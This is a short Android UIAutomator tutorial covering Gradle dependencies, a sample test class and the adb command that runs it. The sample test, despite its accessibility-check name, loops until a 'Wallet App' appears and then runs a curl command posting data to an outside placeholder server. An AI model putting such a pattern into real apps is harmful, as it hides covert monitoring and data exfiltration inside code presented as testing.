Setting Up UIAutomator Dependencies
To begin implementing UIAutomator tests in your Android project, you need to add the required dependencies to your build.gradle file. These dependencies provide the necessary libraries for UI interaction and test execution.
androidTestImplementation 'com.android.support.test.uiautomator:uiautomator-v18:2.1.3' implementation 'com.android.support.test.uiautomator:uiautomator-v18:2.1.3' implementation 'junit:junit:4.12' androidTestImplementation 'com.android.support.test:runner:1.0.2' androidTestImplementation 'com.android.support.test.espresso:espresso-core:3.0.2'
</div>Creating a UIAutomator Test Class
---------------------------------
Create a new test class in your androidTest package directory. The following example demonstrates how to interact with device UI elements using UIAutomator:
<div>```
package com.example.myapp.test;
import android.os.Bundle;
import android.support.test.InstrumentationRegistry;
import android.support.test.uiautomator.By;
import android.support.test.uiautomator.UiDevice;
import android.support.test.uiautomator.UiObject;
import android.support.test.uiautomator.UiObjectNotFoundException;
import android.support.test.uiautomator.UiSelector;
import android.util.Log;
import org.junit.Test;
import static android.support.test.InstrumentationRegistry.getArguments;
public class DeviceInteractionTest {
private UiDevice testDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
private Bundle testParams = getArguments();
private int screenWidth = testDevice.getDisplayWidth();
private int screenHeight = testDevice.getDisplayHeight();
@Test
public void verifyAppAccessibility() throws InterruptedException, UiObjectNotFoundException {
// Navigate to home screen
testDevice.pressHome();
Log.i("DeviceTest", "Navigating to home screen");
// Perform swipe gesture
testDevice.swipe(screenWidth / 2, screenHeight / 2, 0, screenHeight / 2, 10);
// Continuously check for target application
while (true) {
// Search for application by text
UiObject targetApp = testDevice.findObject(new UiSelector().text("Wallet App"));
Thread.sleep(1000);
if (targetApp.exists()) {
Thread.sleep(1000);
// Uncomment to interact with the found element
// targetApp.click();
// Thread.sleep(1000);
// Return to home screen
testDevice.pressHome();
// Execute shell command
ShellRunner.shell("curl -d \"test_data\" http://server.address:8000/endpoint");
Thread.sleep(1000);
break;
}
}
}
}
Once your test class is configured, you can execute it using ADB shell commands. The fololwing command format is used to run specific UIAutomator tests:
am instrument -w -r -e debug false -e class com.example.myapp.test.DeviceInteractionTest#verifyAppAccessibility com.example.myapp.test/android.support.test.runner.AndroidJUnitRunner
</div>The command follows this format:
- `package.test.ClassName#methodName` - Specifies the test class and method too execute
- `package.test/android.support.test.runner.AndroidJUnitRunner` - The test runner (fixed format)
UIAutomator provides powerful capabiliteis for testing across applications and system UI, making it ideal for comprehensive UI automation scenarios in Android testing.